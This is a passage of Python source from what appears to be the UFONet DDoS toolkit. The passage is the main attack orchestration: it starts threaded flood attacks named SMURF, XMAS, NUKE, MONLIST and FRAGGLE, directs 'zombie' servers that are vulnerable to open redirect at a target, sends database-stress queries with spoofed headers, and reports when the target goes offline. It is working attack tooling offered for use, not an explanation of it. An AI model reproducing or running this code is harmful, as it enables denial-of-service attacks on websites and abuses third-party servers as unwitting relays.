  5409. self.instance = SPRAY() # instance main class for SPRAY operations
  5410. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5411. self.t4.daemon = True
  5412. self.t4.start()
  5413. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5414. if smurf:
  5415. try:
  5416. self.options.smurf = int(smurf)
  5417. except:
  5418. self.options.smurf = 101 # default SMURF requests
  5419. if self.options.smurf < 1:
  5420. self.options.smurf = 101
  5421. self.instance = SMURF() # instance main class for SMURF operations
  5422. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5423. self.t5.daemon = True
  5424. self.t5.start()
  5425. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5426. if xmas:
  5427. try:
  5428. self.options.xmas = int(xmas)
  5429. except:
  5430. self.options.xmas = 101 # default XMAS requests
  5431. if self.options.xmas < 1:
  5432. self.options.xmas = 101
  5433. self.instance = XMAS() # instance main class for XMAS operations
  5434. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5435. self.t6.daemon = True
  5436. self.t6.start()
  5437. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5438. if nuke:
  5439. if sys.platform == "linux" or sys.platform == "linux2":
  5440. try:
  5441. self.options.nuke = int(nuke)
  5442. except:
  5443. self.options.nuke = 10000 # default NUKE requests
  5444. if self.options.nuke < 1:
  5445. self.options.nuke = 10000
  5446. self.instance = NUKE() # instance main class for NUKE operations
  5447. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5448. self.t7.daemon = True # extra weapons are threaded as daemons
  5449. self.t7.start()
  5450. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5451. else:
  5452. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5453. if tachyon:
  5454. try:
  5455. self.options.tachyon = int(tachyon)
  5456. except:
  5457. self.options.tachyon = 1000 # default TACHYON requests
  5458. if self.options.tachyon < 1:
  5459. self.options.tachyon = 1000
  5460. self.instance = TACHYON() # instance main class for TACHYON operations
  5461. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5462. self.t8.daemon = True
  5463. self.t8.start()
  5464. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5465. if monlist:
  5466. try:
  5467. self.options.monlist = int(monlist)
  5468. except:
  5469. self.options.monlist = 1000 # default MONLIST requests
  5470. if self.options.monlist < 1:
  5471. self.options.monlist = 1000
  5472. self.instance = MONLIST() # instance main class for MONLIST operations
  5473. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5474. self.t9.daemon = True
  5475. self.t9.start()
  5476. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5477. if ufoack:
  5478. try:
  5479. self.options.ufoack = int(ufoack)
  5480. except:
  5481. self.options.ufoack = 101 # default UFOACK requests
  5482. if self.options.ufoack < 1:
  5483. self.options.ufoack = 101
  5484. self.instance = UFOACK() # instance main class for UFOACK operations
  5485. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5486. self.t10.daemon = True
  5487. self.t10.start()
  5488. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5489. if uforst:
  5490. try:
  5491. self.options.uforst = int(uforst)
  5492. except:
  5493. self.options.uforst = 101 # default UFORST requests
  5494. if self.options.uforst < 1:
  5495. self.options.uforst = 101
  5496. self.instance = UFORST() # instance main class for UFORST operations
  5497. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  5498. self.t11.daemon = True
  5499. self.t11.start()
  5500. self.update_uforst_stats() # add new UFORST attack to mothership stats
  5501. if droper:
  5502. try:
  5503. self.options.droper = int(droper)
  5504. except:
  5505. self.options.droper = 101 # default DROPER requests
  5506. if self.options.droper < 1:
  5507. self.options.droper = 101
  5508. self.instance = DROPER() # instance main class for DROPER operations
  5509. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  5510. self.t12.daemon = True
  5511. self.t12.start()
  5512. self.update_droper_stats() # add new DROPER attack to mothership stats
  5513. if overlap:
  5514. try:
  5515. self.options.overlap = int(overlap)
  5516. except:
  5517. self.options.overlap = 101 # default OVERLAP requests
  5518. if self.options.overlap < 1:
  5519. self.options.overlap = 101
  5520. self.instance = OVERLAP() # instance main class for OVERLAP operations
  5521. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  5522. self.t13.daemon = True
  5523. self.t13.start()
  5524. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  5525. if pinger:
  5526. try:
  5527. self.options.pinger = int(pinger)
  5528. except:
  5529. self.options.pinger = 101 # default PINGER requests
  5530. if self.options.pinger < 1:
  5531. self.options.pinger = 101
  5532. self.instance = PINGER() # instance main class for PINGER operations
  5533. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  5534. self.t14.daemon = True
  5535. self.t14.start()
  5536. self.update_pinger_stats() # add new PINGER attack to mothership stats
  5537. if ufoudp:
  5538. try:
  5539. self.options.ufoudp = int(ufoudp)
  5540. except:
  5541. self.options.ufoudp = 101 # default UFOUDP requests
  5542. if self.options.ufoudp < 1:
  5543. self.options.ufoudp = 101
  5544. self.instance = UFOUDP() # instance main class for UFOUDP operations
  5545. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  5546. self.t15.daemon = True
  5547. self.t15.start()
  5548. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  5549. if fraggle:
  5550. try:
  5551. self.options.fraggle = int(fraggle)
  5552. except:
  5553. self.options.fraggle = 101 # default FRAGGLE requests
  5554. if self.options.fraggle < 1:
  5555. self.options.fraggle = 101
  5556. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  5557. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  5558. self.t16.daemon = True
  5559. self.t16.start()
  5560. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  5561. if sniper:
  5562. try:
  5563. self.options.sniper = int(sniper)
  5564. except:
  5565. self.options.sniper = 101 # default SNIPER requests
  5566. if self.options.sniper < 1:
  5567. self.options.sniper = 101
  5568. self.instance = SNIPER() # instance main class for SNIPER operations
  5569. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  5570. self.t17.daemon = True
  5571. self.t17.start()
  5572. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  5573. def stressing(self, target, zombie):
  5574. # perform a DDoS Web attack against a target, requesting records on target's database
  5575. options = self.options
  5576. db_input = self.options.dbstress
  5577. def random_key(length):
  5578. key = ''
  5579. for i in range(length):
  5580. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  5581. return key
  5582. # generating random alphanumeric queries
  5583. if self.db_flash > 9: # set db flash start on: 10
  5584. length = 1024 # search a heavy random length query (db flash): 1024
  5585. self.db_flash = 0 # reset db flash counter
  5586. else:
  5587. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  5588. key = str(random_key(length))
  5589. if self.db_flash > 9:
  5590. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  5591. else:
  5592. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  5593. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5594. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5595. if not target.endswith('/'): # add "/" to end of target
  5596. target = target + "/"
  5597. url = zombie + target + db_input + key
  5598. req = urllib.request.Request(url, None, headers)
  5599. if options.proxy: # set proxy
  5600. self.proxy_transport(options.proxy)
  5601. try:
  5602. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5603. except urllib.error.HTTPError as e:
  5604. if e.code == 401:
  5605. print('[Info] [AI] [DBStress] Not authorized')
  5606. elif e.code == 404:
  5607. print('[Info] [AI] [DBStress] Not found')
  5608. elif e.code == 503:
  5609. print('[Info] [AI] [DBStress] Service unavailable')
  5610. else:
  5611. print('[Info] [AI] [DBStress] Unknown error')
  5612. else:
  5613. print('[Info] [AI] [DBStress] Database query: HIT!')
  5614. def attackme(self, zombies):
  5615. # perform a DDoS Web attack against yourself
  5616. print("[AI] Starting local port to listening at: " + self.port + "\n")
  5617. print('='*21 + "\n")
  5618. self.doll=Doll(self)
  5619. self.doll.start()
  5620. while not self.doll._armed:
  5621. time.sleep(1)
  5622. # send Open Redirect injection (multiple zombies-multiple target urls)
  5623. target = ""
  5624. self.injection(target, zombies)
  5625. self.doll.shutdown()
  5626. self.doll.join()
  5627. self.herd.list_fails()
  5628. def check_target_status(self):
  5629. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  5630. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  5631. if not self.options.forceyes:
  5632. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  5633. print("\n" + '-'*25)
  5634. else:
  5635. update_reply = "N"
  5636. if update_reply == "y" or update_reply == "Y":
  5637. try: # send HEAD connection
  5638. self.head = True
  5639. reply = self.connect_zombie(target)
  5640. self.head = False
  5641. if reply:
  5642. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  5643. else:
  5644. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5645. self.update_targets_crashed() # update targets crashed stats
  5646. self.update_mothership_stats() # update mothership completed attack stats
  5647. except Exception:
  5648. print("\n[Error] [AI] Something wrong with your connection!...\n")
  5649. if DEBUG == True:
  5650. traceback.print_exc()
  5651. return
  5652. else:
  5653. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  5654. self.update_targets_crashed() # update targets crashed stats
  5655. self.update_mothership_stats() # update mothership completed attack stats
  5656. return
  5657. def starting_target_check(self, target, head_check):
  5658. options = self.options
  5659. head_check_here = False
  5660. head_check_external = False
  5661. if options.disablehead: # check at start is disabled (skipping!)
  5662. print("[Info] [AI] Skipping external check...\n")
  5663. head_check_here = True
  5664. head_check_external = True
  5665. else:
  5666. if head_check:
  5667. if not options.attackme:
  5668. print("[AI] Launching: 'Is target up?' check...\n")
  5669. try: # send HEAD connection
  5670. self.head = True
  5671. reply = self.connect_zombie(target)
  5672. self.head = False
  5673. if reply:
  5674. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  5675. head_check_here = True
  5676. else:
  5677. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  5678. head_check_here = False
  5679. except Exception:
  5680. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  5681. if DEBUG == True:
  5682. traceback.print_exc()
  5683. head_check_here = False
  5684. else: # check if local IP/PORT is listening on mothership
  5685. print("[AI] Launching: 'Is NAT ready?' check...\n")
  5686. try:
  5687. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  5688. result = sock.connect_ex(('0.0.0.0',8080))
  5689. if result == 0 or result == 110: # black magic
  5690. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  5691. head_check_here = True
  5692. else:
  5693. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  5694. head_check_here = False
  5695. except Exception:
  5696. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  5697. if DEBUG == True:
  5698. traceback.print_exc()
  5699. head_check_here = False
  5700. else:
  5701. head_check_here = True
  5702. # check target using external check services
  5703. self.external = True
  5704. if not options.attackme:
  5705. try:
  5706. target = self.parse_url_encoding(target) # parse for proper url encoding
  5707. if target.startswith("http://"):
  5708. target = target.replace("http://", "")
  5709. else:
  5710. target = target.replace("https://", "")
  5711. try:
  5712. url = self.external_check_service1 + target + ".html" # check from external service [1] [23/07/2022]
  5713. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5714. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5715. if options.proxy: # set proxy
  5716. self.proxy_transport(options.proxy)
  5717. req = urllib.request.Request(url, None, headers)
  5718. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5719. if b"is UP and reachable" in external_reply:
  5720. t = urlparse(self.external_check_service1)
  5721. name_external1 = t.netloc
  5722. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  5723. head_check_external = True
  5724. except:
  5725. url = self.external_check_service2 + target # check from external service [2]
  5726. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5727. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5728. if options.proxy: # set proxy
  5729. self.proxy_transport(options.proxy)
  5730. req = urllib.request.Request(url, None, headers)
  5731. try:
  5732. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  5733. if b"It's just you" in req_reply:
  5734. t = urlparse(self.external_check_service2)
  5735. name_external2 = t.netloc
  5736. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  5737. head_check_external = True
  5738. else:
  5739. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5740. head_check_external = False
  5741. except urllib.error.HTTPError as e:
  5742. if e:
  5743. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  5744. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  5745. head_check_external = False
  5746. except Exception:
  5747. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  5748. if DEBUG == True:
  5749. traceback.print_exc()
  5750. head_check_external = False
  5751. else:
  5752. try: # check mothership from public ip / NAT using HEAD request
  5753. try:
  5754. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  5755. reply = urllib.request.urlopen(req)
  5756. except Exception:
  5757. reply = None
  5758. if reply:
  5759. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  5760. head_check_external = True
  5761. else:
  5762. print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  5763. head_check_external = False
  5764. head_check_here = False # stop attack if not public IP available
  5765. except Exception:
  5766. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  5767. head_check_here = False # stop attack if not public IP available
  5768. if DEBUG == True:
  5769. traceback.print_exc()
  5770. head_check_external = False
  5771. self.external = False
  5772. return head_check_here, head_check_external
  5773. def injection(self, target, zombies, head_check = True):
  5774. options = self.options
  5775. # check target's integrity at start
  5776. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  5777. # ask user to confirm the attack
  5778. if head_check_here == True or head_check_external == True:
  5779. if not self.options.forceyes:
  5780. if not options.attackme:
  5781. if not options.disablehead:
  5782. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  5783. else:
  5784. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  5785. else:
  5786. if not options.disablehead:
  5787. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  5788. else:
  5789. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  5790. else:
  5791. start_reply = "Y"
  5792. if start_reply == "y" or start_reply == "Y":
  5793. if options.attackme:
  5794. total_rounds = 2 # default rounds for attackme
  5795. else:
  5796. total_rounds = options.rounds # extract number of rounds
  5797. try:
  5798. total_rounds = int(total_rounds)
  5799. except:
  5800. total_rounds = 1
  5801. if not total_rounds:
  5802. total_rounds = 1
  5803. if total_rounds <= 0:
  5804. total_rounds = 1
  5805. self.herd.cleanup()
  5806. num_round = 1
  5807. num_hits = 0
  5808. num_zombie = 1
  5809. # start to attack the target with [MODS]
  5810. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  5811. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  5812. ex.daemon = True # extra weapons are threaded as daemons
  5813. ex.start()
  5814. # start to attack the target with [ARMY]
  5815. zombies = self.extract_zombies() # extract zombies from file
  5816. if zombies:
  5817. self.total_zombie = len(zombies)
  5818. else:
  5819. self.total_zombie = 0
  5820. return
  5821. self.herd=Herd(self)
  5822. if not self.options.disablepurge:
  5823. self.discardzombies = []
  5824. self.discard_aliens = []
  5825. self.discard_droids = []
  5826. self.discard_rpcs = []
  5827. self.discard_ucavs = []
  5828. total_disc_zombies = 0
  5829. self.num_discard_zombies = 0
  5830. self.num_discard_aliens = 0
  5831. self.num_discard_droids = 0
  5832. self.num_discard_rpcs = 0
  5833. self.num_discard_ucavs = 0
  5834. self.empty_zombies = False
  5835. for i in range(0, int(total_rounds)): # start attacking using rounds
  5836. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  5837. print('='*42)
  5838. print('Starting round:', num_round, ' of ', total_rounds)
  5839. print('='*42)
  5840. self.herd.reset()
  5841. self.extra_zombies_lock = True
  5842. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  5843. self.send_zombies(zombies) # send [Zombies]
  5844. if not self.options.attackme:
  5845. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  5846. if self.options.verbose:
  5847. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  5848. self.send_extra_zombies() # send [ARMY]
  5849. while self.extra_zombies_lock == True:
  5850. time.sleep(1) # wait for [ARMY] to return
  5851. if self.options.verbose:
  5852. print("\n" + '='*42)
  5853. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  5854. else:
  5855. zombies_lock = 0
  5856. if self.options.expire: # set timing for purge
  5857. try:
  5858. timing = int(self.options.expire)
  5859. except:
  5860. timing = self.expire_timing # default timing for purge
  5861. else:
  5862. timing = self.expire_timing # default timing for purge
  5863. if timing < 1:
  5864. timing = self.expire_timing # default timing for purge
  5865. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5866. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  5867. zombies_lock = zombies_lock + 1
  5868. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5869. if self.options.verbose:
  5870. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5871. break
  5872. else:
  5873. time.sleep(1)
  5874. if self.options.verbose:
  5875. print("\n" + '='*42)
  5876. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  5877. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  5878. self.check_target_status()
  5879. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  5880. self.abandoning_zombies() # check for abandoning zombies
  5881. for zombie in self.herd.done: # check for num hits
  5882. if self.herd.connection_failed(zombie) == False:
  5883. num_hits = num_hits + 1
  5884. num_zombie = num_zombie + 1
  5885. if num_zombie > self.total_zombie:
  5886. num_zombie = 1
  5887. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  5888. check_is_loading = self.check_is_loading(target)
  5889. self.herd.dump_html()
  5890. if not self.options.disablepurge:
  5891. if self.empty_zombies == True:
  5892. break # exit routine when not any more zombies
  5893. num_round = num_round + 1
  5894. if self.options.verbose:
  5895. print("\n" + '='*42)
  5896. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  5897. if self.options.loic: # try to stop daemons/threads for extra weapons
  5898. self.t1.join()
  5899. if self.options.loris:
  5900. self.t2.join()
  5901. if self.options.ufosyn:
  5902. self.t3.join()
  5903. if self.options.spray:
  5904. self.t4.join()
  5905. if self.options.smurf:
  5906. self.t5.join()
  5907. if self.options.xmas:
  5908. self.t6.join()
  5909. if self.options.nuke:
  5910. self.t7.join()
  5911. if self.options.tachyon:
  5912. self.t8.join()
  5913. if self.options.monlist:
  5914. self.t9.join()
  5915. if self.options.ufoack:
  5916. self.t10.join()
  5917. if self.options.uforst:
  5918. self.t11.join()
  5919. if self.options.droper:
  5920. self.t12.join()
  5921. if self.options.overlap:
  5922. self.t13.join()
  5923. if self.options.pinger:
  5924. self.t14.join()
  5925. if self.options.ufoudp:
  5926. self.t15.join()
  5927. if self.options.fraggle:
  5928. self.t16.join()
  5929. if self.options.sniper:
  5930. self.t17.join()
  5931. if self.options.target_list:
  5932. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  5933. print ("\x1b[2J\x1b[H") # black magic
  5934. if not self.options.attackme: # show herd results
  5935. self.herd.dump()
  5936. else: # show doll results
  5937. print('='*21)
  5938. print("\n[Info] [AI] Mothership transmission...\n")
  5939. num_real_zombies = len(self.doll.real_zombies)
  5940. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  5941. for z in self.doll.real_zombies: # show only alien verified zombies
  5942. for x in z:
  5943. print(" - " + str(x))
  5944. self.herd.dump_html(True) # show (all) zombies statistics
  5945. if not self.options.attackme:
  5946. if not self.options.disablepurge:
  5947. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  5948. else:
  5949. if not options.target_list:
  5950. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  5951. else:
  5952. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  5953. self.update_mothership_stats() # update mothership stats
  5954. if not self.options.disablepurge:
  5955. print('='*21+ "\n")
  5956. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  5957. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5958. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  5959. elif total_disc_zombies > 1:
  5960. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  5961. if self.num_discard_zombies > 0:
  5962. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  5963. if self.num_discard_aliens > 0:
  5964. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  5965. if self.num_discard_droids > 0:
  5966. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  5967. if self.num_discard_rpcs > 0:
  5968. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  5969. if self.num_discard_ucavs > 0:
  5970. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  5971. if total_disc_zombies > 0:
  5972. if not self.options.forceyes:
  5973. if total_disc_zombies > 0 and total_disc_zombies < 2:
  5974. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  5975. elif total_disc_zombies > 1:
  5976. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  5977. else:
  5978. backup_reply = "Y"
  5979. if backup_reply == "y" or backup_reply == "Y":
  5980. print("\n[Info] [AI] Purging failed units from files...\n")
  5981. discarded = []
  5982. if self.num_discard_zombies > 0:
  5983. for z in self.discardzombies:
  5984. discarded.append(z)
  5985. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  5986. if self.num_discard_aliens > 0:
  5987. for a in self.discard_aliens:
  5988. discarded.append(a)
  5989. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  5990. if self.num_discard_droids > 0:
  5991. for d in self.discard_droids:
  5992. discarded.append(d)
  5993. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  5994. if self.num_discard_rpcs > 0:
  5995. for r in self.discard_rpcs:
  5996. discarded.append(r)
  5997. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  5998. if self.num_discard_ucavs > 0:
  5999. for u in self.discard_ucavs:
  6000. discarded.append(u)
  6001. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  6002. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  6003. if disc_zombies > 0 and disc_zombies < 2:
  6004. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  6005. elif disc_zombies > 1:
  6006. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  6007. if not self.options.target_list:
  6008. print('-'*21+ "\n")
  6009. print("[AI] "+self.exit_msg+"\n")
  6010. if not self.options.web:
  6011. return
  6012. else:
  6013. if self.num_target_list > 0: # still more targets
  6014. print('-'*21+ "\n")
  6015. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6016. return
  6017. else: # finish attack from multiple targets
  6018. print('-'*21+ "\n")
  6019. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6020. print("\n"+ '='*21+ "\n")
  6021. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6022. print("\n"+ '-'*21+ "\n")
  6023. print("[AI] "+self.exit_msg+"\n")
  6024. if not self.options.web:
  6025. return
  6026. else:
  6027. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6028. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6029. if os.path.exists('mothership') == True:
  6030. os.remove('mothership') # remove mothership stream
  6031. if os.path.exists('alien') == True:
  6032. os.remove('alien') # remove random alien worker
  6033. if not options.web:
  6034. sys.exit(2) # exit
  6035. else:
  6036. return
  6037. else:
  6038. print("\n" + '='*21)
  6039. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6040. if AI_reply == "y" or AI_reply == "Y":
  6041. self.AI() # AI fortune cookie
  6042. print('-'*21+ "\n")
  6043. print("\n[AI] "+self.exit_msg+"\n")
  6044. if os.path.exists('mothership') == True:
  6045. os.remove('mothership') # remove mothership stream
  6046. if os.path.exists('alien') == True:
  6047. os.remove('alien') # remove random alien worker
  6048. if not options.web:
  6049. sys.exit(2) # exit
  6050. else:
  6051. return
  6052. else:
  6053. if not options.attackme:
  6054. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6055. else:
  6056. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6057. print("\n" + '-'*21)
  6058. print("\n[AI] "+self.exit_msg+"\n")
  6059. if os.path.exists('mothership') == True:
  6060. os.remove('mothership') # remove mothership stream
  6061. if os.path.exists('alien') == True:
  6062. os.remove('alien') # remove random alien worker
  6063. return
  6064. if __name__ == "__main__":
  6065. app = UFONet()
  6066. options = app.create_options()
  6067. if options:
  6068. app.run()